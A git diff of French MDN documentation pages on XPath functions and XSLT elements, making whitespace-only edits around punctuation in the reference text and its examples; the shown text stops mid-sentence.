[W3Schools: DTD Tutorial (en)](http://www.w3schools.com/dtd/) - [W3Schools: XML Tutorial (en)](http://www.w3schools.com/xml/default.asp) @@ -124,5 +124,5 @@ L'article [Using XML (en)](http://www.alistapart.com/articles/usingxml/) est une ### Informations sur le document -- Auteur(s) : [Justin G. Shreve](http://justinshreve.com) -- Dernière mise à jour : le 4 août 2007 +- Auteur(s) : [Justin G. Shreve](http://justinshreve.com) +- Dernière mise à jour : le 4 août 2007 diff --git a/files/fr/web/xpath/functions/ceiling/index.md b/files/fr/web/xpath/functions/ceiling/index.md index 5810c1b60d..0ad19adc0f 100644 --- a/files/fr/web/xpath/functions/ceiling/index.md +++ b/files/fr/web/xpath/functions/ceiling/index.md @@ -23,7 +23,7 @@ La fonction `ceiling` évalue un nombre décimal et retourne le plus petit nombr Le plus petit entier supérieur ou égal à `nombre`. -Par exemple : +Par exemple : ceiling (5.2) = 6 diff --git a/files/fr/web/xpath/functions/current/index.md b/files/fr/web/xpath/functions/current/index.md index c90cae5ffb..bcc0f16033 100644 --- a/files/fr/web/xpath/functions/current/index.md +++ b/files/fr/web/xpath/functions/current/index.md @@ -22,7 +22,7 @@ Un ensemble de nœuds contenant uniquement le nœud courant. Cette fonction est un ajout à XPath spécifique à XSLT. Elle ne fait pas partie de la bibliothèque de fonctions XPath core. -Le nœud courant est toujours identique au nœud de contexte. Les deux exemples suivants sont sémantiquement équivalents : +Le nœud courant est toujours identique au nœud de contexte. Les deux exemples suivants sont sémantiquement équivalents : <xsl:value-of select="current()"/> diff --git a/files/fr/web/xpath/functions/false/index.md b/files/fr/web/xpath/functions/false/index.md index 79e162444f..bb03fee03f 100644 --- a/files/fr/web/xpath/functions/false/index.md +++ b/files/fr/web/xpath/functions/false/index.md @@ -20,7 +20,7 @@ Booléen `false`. ### Notes -Cette fonction est utile dans les comparaisons : +Cette fonction est utile dans les comparaisons : <xsl:if test="boolean((1 > 2) = false())"> L'expression évaluée comme fausse diff --git a/files/fr/web/xpath/functions/lang/index.md b/files/fr/web/xpath/functions/lang/index.md index 30ac163d87..285347c2af 100644 --- a/files/fr/web/xpath/functions/lang/index.md +++ b/files/fr/web/xpath/functions/lang/index.md @@ -31,20 +31,20 @@ La fonction `lang` détermine si le nœud de contexte correspond à la langue in - Si la `chaîne` donnée ne spécifie pas de code de pays, cette fonction sélectionnera les nœuds dans la langue spécifiée, suivie éventuellement de n'importe quel code de pays. La réciproque n'est pas vraie. -Regardons le code XML suivant : +Regardons le code XML suivant : <p xml:lang="en">I went up a floor.</p> <p xml:lang="en-GB">I took the lift.</p> <p xsl:lang="en-US">I rode the elevator.</p> -et ce modèle XSL : +et ce modèle XSL : <xsl:value-of select="count(//p[lang('en')])" /> <xsl:value-of select="count(//p[lang('en-GB')])" /> <xsl:value-of select="count(//p[lang('en-US')])" /> <xsl:value-of select="count(//p[lang('de')])" /> -La sortie sera : +La sortie sera : 3 1 diff --git a/files/fr/web/xpath/functions/not/index.md b/files/fr/web/xpath/functions/not/index.md index 9caf626f21..045a9cbe3e 100644 --- a/files/fr/web/xpath/functions/not/index.md +++ b/files/fr/web/xpath/functions/not/index.md @@ -21,7 +21,7 @@ La fonction `not` évalue une expression booléenne et retourne la valeur oppos ### Retour -`True` pour une expression évaluée à `false` ; `false` pour une expression évaluée à `true`. +`True` pour une expression évaluée à `false` ; `false` pour une expression évaluée à `true`. ### Notes diff --git a/files/fr/web/xpath/functions/position/index.md b/files/fr/web/xpath/functions/position/index.md index 6576ca4ae8..e022521893 100644 --- a/files/fr/web/xpath/functions/position/index.md +++ b/files/fr/web/xpath/functions/position/index.md @@ -24,7 +24,7 @@ Un nombre entier égal à la position du contenu dans le contexte d'évaluation <!----> -- Le contexte est déterminé par le reste du chemin : +- Le contexte est déterminé par le reste du chemin : <!----> diff --git a/files/fr/web/xpath/functions/string/index.md b/files/fr/web/xpath/functions/string/index.md index bf566b4a3c..a46860bf53 100644 --- a/files/fr/web/xpath/functions/string/index.md +++ b/files/fr/web/xpath/functions/string/index.md @@ -26,7 +26,7 @@ Une chaîne. ### Notes - Si l'objet est un ensemble de nœuds, la valeur de la chaîne du premier nœud de l'ensemble est retournée. -- Un nombre est converti comme suit : +- Un nombre est converti comme suit : - NaN est converti en la chaîne `NaN`. - Zéro positif est converti en `0`. diff --git a/files/fr/web/xpath/functions/system-property/index.md b/files/fr/web/xpath/functions/system-property/index.md index e36f17ddb8..ad2b329cf2 100644 --- a/files/fr/web/xpath/functions/system-property/index.md +++ b/files/fr/web/xpath/functions/system-property/index.md @@ -25,9 +25,9 @@ Un objet représentant le propriété système donnée. ### Notes -- xsl:version, un nombre correspondant à la version de XSLT implémentée par le processeur ; pour les processeurs XSLT implémentant la version de XSLT définit dans ce document, ce nombre est 1.0. +- xsl:version, un nombre correspondant à la version de XSLT implémentée par le processeur ; pour les processeurs XSLT implémentant la version de XSLT définit dans ce document, ce nombre est 1.0. - xsl:vendor, une chaîne identifiant le vendeur du processeur XSLT. -- xsl:vendor-url, une chaîne contenant une URL qui identifie le vendeur du processeur XSLT ; généralement, il s'agit de l'adresse de la page Web du vendeur. +- xsl:vendor-url, une chaîne contenant une URL qui identifie le vendeur du processeur XSLT ; généralement, il s'agit de l'adresse de la page Web du vendeur. ### Définition diff --git a/files/fr/web/xslt/element/if/index.md b/files/fr/web/xslt/element/if/index.md index d3f7e250e2..c4a24fd131 100644 --- a/files/fr/web/xslt/element/if/index.md +++ b/files/fr/web/xslt/element/if/index.md @@ -19,7 +19,7 @@ L'élément `<xsl:if>` regroupe un attribut test et un modèle. Si le test renvo ### Attribut obligatoire - `test` - - : Contient une expression XPath qui peut être évaluée (en utilisant les règles définies pour `boolean( )` si nécessaire) en une valeur booléenne. Si la valeur est `true`, le modèle est appliqué ; dans le cas contraire, aucune action n'est exécutée. + - : Contient une expression XPath qui peut être évaluée (en utilisant les règles définies pour `boolean( )` si nécessaire) en une valeur booléenne. Si la valeur est `true`, le modèle est appliqué ; dans le cas contraire, aucune action n'est exécutée. ### Attributs optionnels diff --git a/files/fr/web/xslt/element/index.md b/files/fr/web/xslt/element/index.md index 6b7c4fa2e2..bb28c58822 100644 --- a/files/fr/web/xslt/element/index.md +++ b/files/fr/web/xslt/element/index.md @@ -5,17 +5,17 @@ tags: - Référence_XSLT translation_of: Web/XSLT/Element --- -{{ XsltRef() }} Ce document traite de deux types d'éléments : les éléments de haut niveau, et les instructions. Un élément de haut niveau doit toujours apparaître en tant qu'enfant de `<xsl:stylesheet>` ou de `<xsl:transform>`. Une instruction, de son côté, est associée à un modèle. Une feuille de style peut comporter plusieurs modèles. Un troisième type d'élément, que nous n'aborderons pas ici, est le « Literal Result Element (LRE) ». Un LRE appartient également à un modèle. Le terme regroupe tout ce qui n'est pas une instruction et qui doit être recopié tel-quel dans le document de sortie, par exemple, un élément `<hr>` dans feuille de style de conversion HTML. +{{ XsltRef() }} Ce document traite de deux types d'éléments : les éléments de haut niveau, et les instructions. Un élément de haut niveau doit toujours apparaître en tant qu'enfant de `<xsl:stylesheet>` ou de `<xsl:transform>`. Une instruction, de son côté, est associée à un modèle. Une feuille de style peut comporter plusieurs modèles. Un troisième type d'élément, que nous n'aborderons pas ici, est le « Literal Result Element (LRE) ». Un LRE appartient également à un modèle. Le terme regroupe tout ce qui n'est pas une instruction et qui doit être recopié tel-quel dans le document de sortie, par exemple, un élément `<hr>` dans feuille de style de conversion HTML. -A ce propos, tous les attributs d'un LRE et certains attributs d'un nombre limité d'éléments XSLT peuvent inclure ce que l'on appelle un modèle de valeur d'attribut. Un modèle de valeur d'attribut est simplement une chaîne qui intègre une expression XPath utilisée pour spécifier la valeur de l'attribut. Lors de l'exécution, l'expression est évaluée et le résultat de cette évaluation est substitué à l'expression XPath. Par exemple, considérons que variable « \<tt>image-dir\</tt> » est définie comme ci-dessous : +A ce propos, tous les attributs d'un LRE et certains attributs d'un nombre limité d'éléments XSLT peuvent inclure ce que l'on appelle un modèle de valeur d'attribut. Un modèle de valeur d'attribut est simplement une chaîne qui intègre une expression XPath utilisée pour spécifier la valeur de l'attribut. Lors de l'exécution, l'expression est évaluée et le résultat de cette évaluation est substitué à l'expression XPath. Par exemple, considérons que variable « \<tt>image-dir\</tt> » est définie comme ci-dessous : <xsl:variable name="image-dir">/images</xsl:variable> -L'expression a évaluer est placée entre accolades : +L'expression a évaluer est placée entre accolades : <img src="{$image-dir}/mygraphic.jpg"/> -Ce qui donnera : +Ce qui donnera : <img src="/images/mygraphic.jpg"/> diff --git a/files/fr/web/xslt/element/message/index.md b/files/fr/web/xslt/element/message/index.md index 6f3609f1c0..13640a9989 100644 --- a/files/fr/web/xslt/element/message/index.md +++ b/files/fr/web/xslt/element/message/index.md @@ -23,7 +23,7 @@ Aucun. ### Attributs optionnels - `terminate` - - : Défini à `yes`, il indique que l'exécution doit être interrompue. La valeur par défaut est `no` : dans ce cas, le message est envoyé et l'exécution se poursuit. + - : Défini à `yes`, il indique que l'exécution doit être interrompue. La valeur par défaut est `no` : dans ce cas, le message est envoyé et l'exécution se poursuit. ### Type diff --git a/files/fr/web/xslt/element/number/index.md b/files/fr/web/xslt/element/number/index.md index 3d01ed9e73..0361a57be7 100644 --- a/files/fr/web/xslt/element/number/index.md +++ b/files/fr/web/xslt/element/number/index.md @@ -36,8 +36,8 @@ Aucun. - `level` - : Définit la manière dont les niveaux de l'arbre source doivent pris en compte lors de la génération des - nombres séquentiels. Les trois valeurs possibles sont : `single`, `multiple` et - `any`. La valeur par défaut est `single` : + nombres séquentiels. Les trois valeurs possibles sont : `single`, `multiple` et + `any`. La valeur par défaut est `single` : - `single` - : Numérote de façon séquentielle les nœuds descendants d'un même parent, à la manière des éléments d'une @@ -71,7 +71,7 @@ Aucun. un des formats standards de `<xsl:number>`. - format - - : Définit le format du nombre généré : + - : Définit le format du nombre généré : - format="1" - : \<tt>1 2 3 …\</tt> (C'est le seul format supporté à ce jour) diff --git a/files/fr/web/xslt/element/sort/index.md b/files/fr/web/xslt/element/sort/index.md index 56a10f4fdd..93a75fd3c3 100644 --- a/files/fr/web/xslt/element/sort/index.md +++ b/files/fr/web/xslt/element/sort/index.md @@ -46,7 +46,7 @@ Aucun. <!----> - `data-type` - - : Définit si les éléments doivent être ordonnés alphabétiquement ou numériquement. Les valeurs autorisées sont `text` et `number` ; `text` est la valeur par défaut. + - : Définit si les éléments doivent être ordonnés alphabétiquement ou numériquement. Les valeurs autorisées sont `text` et `number` ; `text` est la valeur par défaut. ### Type diff --git a/files/fr/web/xslt/element/text/index.md b/files/fr/web/xslt/element/text/index.md index 23beb50151..bcd2b606e6 100644 --- a/files/fr/web/xslt/element/text/index.md +++ b/files/fr/web/xslt/element/text/index.md @@ -22,7 +22,7 @@ Aucun. ### Attribut optionnel -- `disable-output-escaping` (Netscape ne sérialise pas le résultat de la transformation - la « sortie » ci-dessous - aussi cet attribut importe peu dans ce contexte. Pour écrire des entités HTML, utilisez les valeurs numériques correspondantes à leur place, par exemple ` ` pour ` `). +- `disable-output-escaping` (Netscape ne sérialise pas le résultat de la transformation - la « sortie » ci-dessous - aussi cet attribut importe peu dans ce contexte. Pour écrire des entités HTML, utilisez les valeurs numériques correspondantes à leur place, par exemple ` ` pour ` `). - : Définit si les caractères spéciaux sont échappés lors de l'écriture vers la sortie. Les valeurs autorisées sont `yes` ou `no`. Si il est définit à `yes`, par exemple, le caractère \<tt>>\</tt> est envoyé tel quel ( `>` )et non comme `>`. ### Type diff --git a/files/fr/web/xslt/element/value-of/index.md b/files/fr/web/xslt/element/value-of/index.md index f9742074c4..e0086dd187 100644 --- a/files/fr/web/xslt/element/value-of/index.md +++ b/files/fr/web/xslt/element/value-of/index.md @@ -21,7 +21,7 @@ L'élément `<xsl:value-of>` évalue une expression XPath, la convertit en chaî ### Attributs optionnels -- `disable-output-escaping` (Netscape ne sérialise pas le résultat de la transformation - la « sortie » ci-dessous - aussi cet attribut importe peu dans ce contexte. Pour sortir des entités HTML, employez leurs valeurs numériques à la place, par exemple ` ` pour ` `). +- `disable-output-escaping` (Netscape ne sérialise pas le résultat de la transformation - la « sortie » ci-dessous - aussi cet attribut importe peu dans ce contexte. Pour sortir des entités HTML, employez leurs valeurs numériques à la place, par exemple ` ` pour ` `). - : Définit si les caractères spéciaux sont échappés quand ils sont écrits sur la sortie. Les valeurs autorisées sont `yes` ou `no`. Par exemple, s'il est définit à `yes`, le caractère \<tt>>\</tt> est transmis brut ( `>` ). Dans le cas contraire, c'est `>` qui serait envoyée à la sortie. ### Type diff --git a/files/fr/web/xslt/element/when/index.md b/files/fr/web/xslt/element/when/index.md index e6f51bbc3a..04ce9e3c59 100644 --- a/files/fr/web/xslt/element/when/index.md +++ b/files/fr/web/xslt/element/when/index.md @@ -19,7 +19,7 @@ L'élément `<xsl:when>` apparaît toujours dans un élément `<xsl:choose>`, et ### Attribut obligatoire - `test` - - : Définit une expression booléenne à évaluer. Si elle est vraie, le contenu de l'élément est exécuté ; sinon, il est ignoré. + - : Définit une expression booléenne à évaluer. Si elle est vraie, le contenu de l'élément est exécuté ; sinon, il est ignoré. ### Attributs obligatoires diff --git a/files/fr/web/xslt/pi_parameters/index.md b/files/fr/web/xslt/pi_parameters/index.md index 67f387db2f..8a6968f908 100644 --- a/files/fr/web/xslt/pi_parameters/index.md +++ b/files/fr/web/xslt/pi_parameters/index.md @@ -10,9 +10,9 @@ original_slug: Web/XSLT/Paramètres_des_instructions_de_traitement XSLT permet de passer des paramètres à une feuille de style lors de son exécution. C'était déjà possible depuis quelques temps dans l'[XSLTProcessor](fr/XSLTProcessor) sous JavaScript, mais pas lors de l'utilisation de l'instruction de traitement (_PI_, pour Processing Instruction) `<?xml-stylesheet?>`. -Pour résoudre cela, deux nouvelles PI (Instructions de traitement) ont été implémentées dans [Firefox 2](fr/Firefox_2) (voir {{ Anch("Versions supportées") }} plus bas pour plus de détails), `<?xslt-param?>` et `<?xslt-param-namespace?>`. Ces deux PI peuvent contenir des « pseudo attributs » de la même manière que la PI (Instruction de traitement) `xml-stylesheet`. +Pour résoudre cela, deux nouvelles PI (Instructions de traitement) ont été implémentées dans [Firefox 2](fr/Firefox_2) (voir {{ Anch("Versions supportées") }} plus bas pour plus de détails), `<?xslt-param?>` et `<?xslt-param-namespace?>`. Ces deux PI peuvent contenir des « pseudo attributs » de la même manière que la PI (Instruction de traitement) `xml-stylesheet`. -L'exemple suivant passe les deux paramètres `color` et `size` à la feuille de style style.xsl : +L'exemple suivant passe les deux paramètres `color` et `size` à la feuille de style style.xsl : <?xslt-param name="color" value="blue"?> <?xslt-param name="size" select="2"?> @@ -30,7 +30,7 @@ S'il existe plusieurs PI `xml-stylesheet` les paramètres s'appliquent à toutes #### xslt-param -La PI `xslt-param` accepte quatre attributs : +La PI `xslt-param` accepte quatre attributs : - name - : La partie locale du nom du paramètre. Aucune vérification de syntaxe n'est faite pour cet attribut. Cependant, si ce n'est pas un [NCName](http://www.w3.org/TR/REC-xml-names/#NT-NCName) valide, il ne correspondra à aucun paramètre de la feuille de style. @@ -53,19 +53,19 @@ Notez que `value="..."` n'est pas strictement égal à `select="'...'"` car valu ##### Exemples -Le paramètre `color` contient la chaîne `red` : +Le paramètre `color` contient la chaîne `red` : <?xslt-param name="color" value="red"?> -Le paramètre `columns` contient `2` : +Le paramètre `columns` contient `2` : <?xslt-param name="columns" select="2"?> -Le paramètre `books` contient l'ensemble de noeuds qui regroupe tous les éléments `<book>` de l'espace de nommage `null` : +Le paramètre `books` contient l'ensemble de noeuds qui regroupe tous les éléments `<book>` de l'espace de nommage `null` : <?xslt-param name="books" select="//book"?> -Le paramètre `show-toc<code> contient le booléen <code>true` : +Le paramètre `show-toc<code> contient le booléen <code>true` : <?xslt-param name="show-toc" select="true()"?> @@ -84,7 +84,7 @@ Si l'attribut **select** ne peut pas être analysé ou exécuté, la PI est igno #### xslt-param-namespace -`xslt-param-namespace` accepte deux attributs : +`xslt-param-namespace` accepte deux attributs : - prefix - : Le préfixe mappé. @@ -101,7 +101,7 @@ Si **namespace** est absent, la PI est ignorée. Si **namespace** est vide, le m ##### Exemples -Le paramètre `books` contient l'ensemble de noeuds qui regroupe tous les éléments `<book>` de l'espace de nommage `http://www.example.org/myNamespace` : +Le paramètre `books` contient l'ensemble de noeuds qui regroupe tous les éléments `<book>` de l'espace de nommage `http://www.example.org/myNamespace` : <?xslt-param-namespace prefix="my" namespace="http://www.example.org/myNamespace"?> <?xslt-param name="books" select="//my:book"?> @@ -112,6 +112,6 @@ Supportées depuis Firefox 2.0.0.1. Dans la version 2, l'attribut **value** est ### Possibilités de développements futurs -Devons-nous autoriser n'importe quelle fonction XSLT dans les expressions ? `document()` semble utile, mais il semble difficile de conserver le fait que `generate-id()` devrait produire la même chaîne pour un même document. +Devons-nous autoriser n'importe quelle fonction XSLT dans les expressions ? `document()` semble utile, mais il semble difficile de conserver le fait que `generate-id()` devrait produire la même chaîne pour un même document. Interwiki Language Links diff --git a/files/fr/web/xslt/transforming_xml_with_xslt/an_overview/index.md b/files/fr/web/xslt/transforming_xml_with_xslt/an_overview/index.md index d7f67a3742..e33eafd76f 100644 --- a/files/fr/web/xslt/transforming_xml_with_xslt/an_overview/index.md +++ b/files/fr/web/xslt/transforming_xml_with_xslt/an_overview/index.md @@ -17,7 +17,7 @@ L'eXtensible Stylesheet Language/Transform est un langage très puissant, et une - Une feuille de styles XSLT est identifiée comme telle par un en-tête XSLT standard. - : L'élément externe dans une feuille de styles XSLT doit être l'élément \<xsl:stylesheet> (ou éventuellement l'élément `<xsl:transform>`). Cet élément inclut au moins une déclaration d'espace de nommage (`namespace`) et l'attribut de version obligatoire. On peut également inclure d'autres espaces de nommage et trois attributs optionnels. - L'espace de nommage imposé pour XSLT est "http\://www\.w3.org/1999/XSL/Transform". - - : Les espaces de nommages sont une source de confusion importante dans XML. Bien qu'ils semblent souvent être des URI, ils ne se réfèrent pas à une ressource située à cette adresse. Ils sont uniquement un moyen d'attribuer un identifiant unique à un ensemble d'éléments connus. La chaîne "http\://www\.w3.org/1999/XSL/Transform" est une constante qui marque les éléments ainsi désignés comme appartenant à l'ensemble des balises définies par le W3C dans sa recommandation XSLT de 1999. Une autre chaîne occasionnellement utilisée dans les feuilles de styles, "http\://www\.w3.org/TR/WD-xsl", indique la conformité avec un des premiers brouillons de travail (Working Draft en anglais, d'où le WD) du document du W3C. Ce dernier espace de nommage n'est pas compatible avec celui que la W3C a adopté et il n'est pas supporté par Netscape. Comme saisir la chaîne "http\://www\.w3.org/1999/XSL/Transform" à chaque fois serait pénible et rendrait la balisage difficile à lire, il existe un mécanisme pour assigner une abréviation à un espace de nommage dans l'en-tête de la feuille de styles. Dans sa totalité, l'élément ouvrant d'une feuille de style serait : + - : Les espaces de nommages sont une source de confusion importante dans XML. Bien qu'ils semblent souvent être des URI, ils ne se réfèrent pas à une ressource située à cette adresse. Ils sont uniquement un moyen d'attribuer un identifiant unique à un ensemble d'éléments connus. La chaîne "http\://www\.w3.org/1999/XSL/Transform" est une constante qui marque les éléments ainsi désignés comme appartenant à l'ensemble des balises définies par le W3C dans sa recommandation XSLT de 1999. Une autre chaîne occasionnellement utilisée dans les feuilles de styles, "http\://www\.w3.org/TR/WD-xsl", indique la conformité avec un des premiers brouillons de travail (Working Draft en anglais, d'où le WD) du document du W3C. Ce dernier espace de nommage n'est pas compatible avec celui que la W3C a adopté et il n'est pas supporté par Netscape. Comme saisir la chaîne "http\://www\.w3.org/1999/XSL/Transform" à chaque fois serait pénible et rendrait la balisage difficile à lire, il existe un mécanisme pour assigner une abréviation à un espace de nommage dans l'en-tête de la feuille de styles. Dans sa totalité, l'élément ouvrant d'une feuille de style serait : <!----> @@ -25,15 +25,15 @@ L'eXtensible Stylesheet Language/Transform est un langage très puissant, et une - Le pseudo attribut xmlns définit xsl comme l'abréviation du nom complet de l'espace de nommage pour ce document. Ainsi l'élément stylesheet ci-dessus est préfixé par `xsl:`. Bien que xsl soit conventionnellement utilisé, il n'est pas imposé et il est possible de choisir un autre raccourci. Les exemples de ce document utilisent tous le préfixe xsl. - Toutes les transformations XSLT sont exécutées sur les arbres, et non sur les documents. -- Le moteur de transformation XSLT, appelé le processeur, ne fonctionne pas directement sur les documents. Avant qu'une transformation ne soit effectuée, le document XML originel et la feuille de styles doivent être analysés, afin de créer une représentation abstraite de la structure du document qui sera mise en mémoire. C'est cette représentation, appelée « arbre », qui sera traitée par le processeur. L'arbre est un type de données abstrait, un modèle conceptuel que peut être implémenté de diverses façons en fonction l'analyseur et le processeur. Netscape utilise une structure d'arbre proche de celle du [DOM](fr/DOM) du W3C, mais d'autres sont également possibles. Les seules obligations concernent la disposition des objets dans l'arbre, leurs propriétés, et leurs relations. L'arbre consiste en une organisation hiérarchique de nœuds. Il peut être constitué à l'aide de sept types de nœuds : le nœud*root* (unique), des nœuds*élément*, des nœuds*text*, des nœuds*attribut*, des nœuds commentaires, des nœuds d'instructions de traitement, et des nœuds d'espaces de nommage. En haut de l'arbre on trouve le nœud racine (root). Le nœud racine ne correspond à aucune partie individuelle du document XML : il représente l'ensemble du document. En dessous du nœud racine se trouvent ses enfants, qui peuvent être des éléments, des commentaires, des instructions de traitement, etc. Certains de ces enfants peuvent également avoir leurs propres enfants, et ainsi de suite sur plusieurs niveaux. Il existe des contraintes concernant le positionnement des noeuds : par exemple, les nœuds texte ne peuvent pas avoir d'enfant. Le résultat du traitement par le processeur est également un arbre. Netscape utilise cet arbre pour créer le contenu dans la fenêtre du navigateur. +- Le moteur de transformation XSLT, appelé le processeur, ne fonctionne pas directement sur les documents. Avant qu'une transformation ne soit effectuée, le document XML originel et la feuille de styles doivent être analysés, afin de créer une représentation abstraite de la structure du document qui sera mise en mémoire. C'est cette représentation, appelée « arbre », qui sera traitée par le processeur. L'arbre est un type de données abstrait, un modèle conceptuel que peut être implémenté de diverses façons en fonction l'analyseur et le processeur. Netscape utilise une structure d'arbre proche de celle du [DOM](fr/DOM) du W3C, mais d'autres sont également possibles. Les seules obligations concernent la disposition des objets dans l'arbre, leurs propriétés, et leurs relations. L'arbre consiste en une organisation hiérarchique de nœuds. Il peut être constitué à l'aide de sept types de nœuds : le nœud*root* (unique), des nœuds*élément*, des nœuds*text*, des nœuds*attribut*, des nœuds commentaires, des nœuds d'instructions de traitement, et des nœuds d'espaces de nommage. En haut de l'arbre on trouve le nœud racine (root). Le nœud racine ne correspond à aucune partie individuelle du document XML : il représente l'ensemble du document. En dessous du nœud racine se trouvent ses enfants, qui peuvent être des éléments, des commentaires, des instructions de traitement, etc. Certains de ces enfants peuvent également avoir leurs propres enfants, et ainsi de suite sur plusieurs niveaux. Il existe des contraintes concernant le positionnement des noeuds : par exemple, les nœuds texte ne peuvent pas avoir d'enfant. Le résultat du traitement par le processeur est également un arbre. Netscape utilise cet arbre pour créer le contenu dans la fenêtre du navigateur. - XSLT est un langage déclaratif de haut niveau. - Une feuille de styles XSLT est un ensemble de règles, appelées*modèles* (templates en anglais), qui déclare chacune qu'un nœud correspondant à ce motif spécifique doit être traité de cette façon spécifique et se retrouver à cette position spécifique dans l'arbre résultat. Les détails de l'exécution sont laissés au processeur, et comme l'ordre d'exécution des règles de la feuille de styles ne peut donc être garanti, XSLT ne supporte aucune fonctionnalité pouvant provoquer un effet de bord. En cela, il se comporte comme*Lisp* ou*Scheme*. - Les emplacements dans les arbres sont spécifiés à l'aide de XPath, une recommandation du W3C. -- Les transformations dépendent de la capacité du processeur à identifier individuellement les nœuds dans l'arbre. Pour faciliter cela, le W3C a décidé d'utiliser un langage séparé, XPath, qui a également d'autres utilisations en dehors du contexte XSLT. Comme son nom l'indique, XPath définit un « chemin » (path en anglais) que le processeur doit suivre dans l'arbre pour parvenir au nœud voulu. Ce chemin se compose d'expressions spécifiques à XPath à évaluer, expressions qui peuvent contenir un certain nombre de conditions à remplir, une méthode pour associer des nœuds et/ou d'une indication de direction dans l'arbre. Vous trouverez une description complète des spécifications de XPath les plus communément utilisées avec XSLT dans les documents de la section*référence*. +- Les transformations dépendent de la capacité du processeur à identifier individuellement les nœuds dans l'arbre. Pour faciliter cela, le W3C a décidé d'utiliser un langage séparé, XPath, qui a également d'autres utilisations en dehors du contexte XSLT. Comme son nom l'indique, XPath définit un « chemin » (path en anglais) que le processeur doit suivre dans l'arbre pour parvenir au nœud voulu. Ce chemin se compose d'expressions spécifiques à XPath à évaluer, expressions qui peuvent contenir un certain nombre de conditions à remplir, une méthode pour associer des nœuds et/ou d'une indication de direction dans l'arbre. Vous trouverez une description complète des spécifications de XPath les plus communément utilisées avec XSLT dans les documents de la section*référence*. - Les conflits éventuels dans la correspondance avec les modèles sont résolus par l'utilisation d'un ensemble de règles de priorité en cascade. - En général, une règle modèle plus spécifique a la priorité sur une d'ordre plus général, et toutes choses égales par ailleurs, une règle apparaissant tard dans la feuille de style a la priorité sur celles qui se trouvent avant elle. - Les feuilles de styles peuvent être attachées à un document XML par l'intermédiaire d'une instruction de traitement. -- La méthode la plus simple pour indiquer la feuille de styles XSLT à utiliser pour traiter un document XML particulier est d'inclure une instruction de traitement dans le document XML lui-même. Par exemple, si la feuille de styles se nomme inventory.xsl et se trouve dans le même répertoire que le document XML, l'instruction de traitement dans le document pourrait ressembler à : +- La méthode la plus simple pour indiquer la feuille de styles XSLT à utiliser pour traiter un document XML particulier est d'inclure une instruction de traitement dans le document XML lui-même. Par exemple, si la feuille de styles se nomme inventory.xsl et se trouve dans le même répertoire que le document XML, l'instruction de traitement dans le document pourrait ressembler à : <!----> diff --git a/files/fr/web/xslt/transforming_xml_with_xslt/for_further_reading/index.md b/files/fr/web/xslt/transforming_xml_with_xslt/for_further_reading/index.md index f619d879e6..00e6c93825 100644 --- a/files/fr/web/xslt/transforming_xml_with_xslt/for_further_reading/index.md +++ b/files/fr/web/xslt/transforming_xml_with_xslt/for_further_reading/index.md @@ -16,9 +16,9 @@ original_slug: Web/XSLT/Transformations_XML_avec_XSLT/Autres_ressources - **XSLT: Programmer's Reference, Second Edition** - - **Auteur** : Michael H. Kay - - **Nombre de page** : 992 pages - - **Éditeur** : Wrox; 2 edition (May 3, 2001) + - **Auteur** : Michael H. Kay + - **Nombre de page** : 992 pages + - **Éditeur** : Wrox; 2 edition (May 3, 2001) - **ISBN**: 0764543814 - Michael Kay est membre du groupe de travail XSL du W3C et le développeur de son propre processeur XSLT libre, Saxon. Il est également l'auteur du seul livre sur ce sujet à avoir bénéficié d'une seconde édition. C'est un @@ -28,9 +28,9 @@ original_slug: Web/XSLT/Transformations_XML_avec_XSLT/Autres_ressources - **XSLT** - - **Auteur** : Doug Tidwell - - **Nombre de page** : 473 pages - - **Éditeur** : O'Reilly Media; 1 edition (August 15, 2001) + - **Auteur** : Doug Tidwell + - **Nombre de page** : 473 pages + - **Éditeur** : O'Reilly Media; 1 edition (August 15, 2001) - **ISBN**: 0596000537 - Doug Tidwell est un développeur senior chez IBM et un*évangéliste* reconnu des technologies XML en général. Il est l'auteur de plusieurs articles et tutoriels concernant divers aspects de XML sur l'exhaustif @@ -40,9 +40,9 @@ original_slug: Web/XSLT/Transformations_XML_avec_XSLT/Autres_ressources - **Learning XML, Second Edition** - - **Auteur** : Erik T. Ray - - **Nombre de page** : 432 pages - - **Éditeur** : O'Reilly Media; 2 edition (September 22, 2003) + - **Auteur** : Erik T. Ray + - **Nombre de page** : 432 pages + - **Éditeur** : O'Reilly Media; 2 edition (September 22, 2003) - **ISBN**: 0596004206 - Comme l'indique le titre, il s'agit d'un aperçu général de XML. Le chapitre 6 est dédié spécifiquement à XSLT. - <http://www.amazon.com/gp/product/0596004206> @@ -53,11 +53,11 @@ original_slug: Web/XSLT/Transformations_XML_avec_XSLT/Autres_ressources - **World Wide Web Consortium** - - **Page d'accueil du W3C** : <http://www.w3.org/> - - **Page de XSL** : <http://www.w3.org/Style/XSL/> - - **Recommandation XSLT 1.0** : <http://www.w3.org/TR/xslt> - - **Archive of public style (CSS and XSLT) discussions** : <http://lists.w3.org/Archives/Public/www-style/> - - **Recommandation XPath 1.0** : <http://www.w3.org/TR/xpath> + - **Page d'accueil du W3C** : <http://www.w3.org/> + - **Page de XSL** : <http://www.w3.org/Style/XSL/> + - **Recommandation XSLT 1.0** : <http://www.w3.org/TR/xslt> + - **Archive of public style (CSS and XSLT) discussions** : <http://lists.w3.org/Archives/Public/www-style/> + - **Recommandation XPath 1.0** : <http://www.w3.org/TR/xpath> - Le World Wide Web Consortium est l'organisme qui publie des recommandations sur un certain nombre de technologies Web, dont beaucoup deviennent de-facto des standards. #### Articles diff --git a/files/fr/web/xslt/transforming_xml_with_xslt/index.md b/files/fr/web/xslt/transforming_xml_with_xslt/index.md index 31319589cc..907e04a459 100644 --- a/files/fr/web/xslt/transforming_xml_with_xslt/index.md +++ b/files/fr/web/xslt/transforming_xml_with_xslt/index.md @@ -16,7 +16,7 @@ Mais au bout du compte, la plus grande partie du contenu des documents XML devra Actuellement, Gecko (le moteur de rendu de Mozilla et Firefox) supporte deux formats de feuilles de styles XML. Pour le contrôle basique de l'apparence -- fontes, couleurs, position, etc. -- Gecko utilise [CSS](fr/CSS), tiré du [DHTML](fr/DHTML). Toutes les spécifications CSS1 et la majorité des CSS2 sont supportées, le support du tout récent CSS3 est en développement. Pour plus d'information à propos de CSS, consultez le site [Eric Meyer's CSS pages](http://www.meyerweb.com/eric/css/). -Nous nous intéressons ici au second type de feuilles de styles supporté par Gecko : la feuille de style XSLT. XSLT signifie _eXtensible Stylesheet Language/Transform_. XSLT permet à un concepteur de feuilles de styles de transformer un document XML de départ de deux façons significatives : manipuler et réordonner le contenu (une réorganisation complète de celui-ci est possible si on le désire), et le transférer dans un autre format (dans le cas de Mozilla, on se concentre sur sa conversion à la volée en 